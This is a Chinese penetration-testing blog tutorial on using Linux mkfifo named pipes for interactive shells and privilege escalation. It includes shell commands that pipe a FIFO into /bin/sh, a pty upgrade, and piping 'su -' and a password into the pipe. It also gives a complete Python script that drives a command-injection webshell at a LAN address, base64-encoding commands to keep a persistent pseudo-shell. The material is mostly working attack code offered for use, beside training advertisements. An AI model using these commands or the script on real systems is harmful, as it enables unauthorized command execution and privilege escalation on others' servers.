1. 首页
  2. 渗透测试

[原创]linux mkfifo命名管道提权

【推荐学习】暗月渗透测试培训 十多年渗透经验,体系化培训渗透测试 、高效学习渗透测试,欢迎添加微信好友aptimeok 咨询。

1 应用场景

当目标不能执行反弹SHELL的时候使用。如反弹SHELL执行交互 使用su 切换特权用户。这类操作最好在反弹shell下使用,当反弹shell 没法使用的时候用mkfifo管理命令 达到以上效果。

2 什么是命名管道

命名管道也被称为FIFO文件,它是一种特殊类型的文件,它在文件系统中以文件名的形式存在,但是它的行为却和之前所讲的没有名字的管道(匿名管道)类似。

由于Linux中所有的事物都可被视为文件,所以对命名管道的使用也就变得与文件操作非常的统一,也使它的使用非常方便,同时我们也可以像平常的文件名一样在命令中使用。

3 实践应用

3.1  创建命令

mkfifo /tmp/input;tail -f /tmp/input |/bin/sh 2>&1 >/tmp/output

这条命令的意思 用mkfifo创建命名管道mkfifo /tmp/input

tail -f /tmp/input 循环读取里面文件,有命令就用/bin/sh执行 标准输出和错误重定向到/tmp/output

[原创]linux mkfifo命名管道提权

3.2  测试效果

[原创]linux mkfifo命名管道提权
[原创]linux mkfifo命名管道提权

3.3 切换特权SHELL

echo “python -c ‘importpty;pty.spawn(\”/bin/bash\”)'”>/tmp/input

[原创]linux mkfifo命名管道提权

3.4  切换特权用户

[原创]linux mkfifo命名管道提权
[原创]linux mkfifo命名管道提权


echo “su-” >/tmp/input

echo”123456″ >/tmp/input

4实战应用

4.1  执行命令

http://192.168.0.143/test.php?moon=id

[原创]linux mkfifo命名管道提权

4.2  编写python

[php]

#coding:utf-8
import requests
import time
from base64 import b64encode
from random import randrange
import threading

class AllTheReads(object):
def __init__(self,interval=1):
self.interval=interval
thread = threading.Thread(target=self.run,args=())
thread.daemon = True
thread.start()

def run(self):
readoutput= """ /bin/cat %s""" %(stdout)
clearoutput = """echo ” > %s""" %(stdout)
while True:
output= RunCmd(readoutput)
if output:
RunCmd(clearoutput)
print(output)
time.sleep(self.interval)

def RunCmd(cmd):

cmd = cmd.encode(‘utf-8’)
cmd = b64encode(cmd).decode(‘utf-8’)
data ={ ‘moon’: "echo ‘%s’| base64 -d|sh" %(cmd)}
resulit=requests.post(‘http://192.168.0.143/test.php’,data=data,timeout=5).text.strip()

return resulit

def WriteCmd(cmd):
cmd = cmd.encode(‘utf-8’)
cmd = b64encode(cmd).decode(‘utf-8’)
data ={ ‘moon’: "echo ‘%s’| base64 -d > %s" %(cmd,stdin)}
resulit=requests.post(‘http://192.168.0.143/test.php’,data=data,timeout=5).text.strip()

return resulit

def ReadCmd():
GetOutput = """/bin/cat %s""" %(stdout)
output=RunCmd(GetOutput)
return output

def SetupShell():
NamePipes = """mkfifo %s; tail -f %s | /bin/sh2>&1 > %s""" %(stdin,stdin,stdout)
try:
RunCmd(NamePipes)
except:
None
return None

global stdin, stdout

session = randrange(1000,9999)

stdin = "/dev/shm/input.%s" %(session)
stdout = "/dev/shm/output.%s" %(session)

clearoutput = """echo ”> %s""" % (stdout)

SetupShell()

ReadingTheThings = AllTheReads()

while True:
cmd = input(‘> ‘)
WriteCmd(cmd+"\n")

time.sleep(1.1)

[/php]

4.3  最终结果

[原创]linux mkfifo命名管道提权

5 关注公众号 不定期更新干货

[原创]linux mkfifo命名管道提权

原创文章,作者:mOon,如若转载,请注明出处:https://www.moonsec.com/737.html

联系我们

400-800-8888

在线咨询:点击这里给我发消息

邮件:admin@example.com

工作时间:周一至周五,9:30-18:30,节假日休息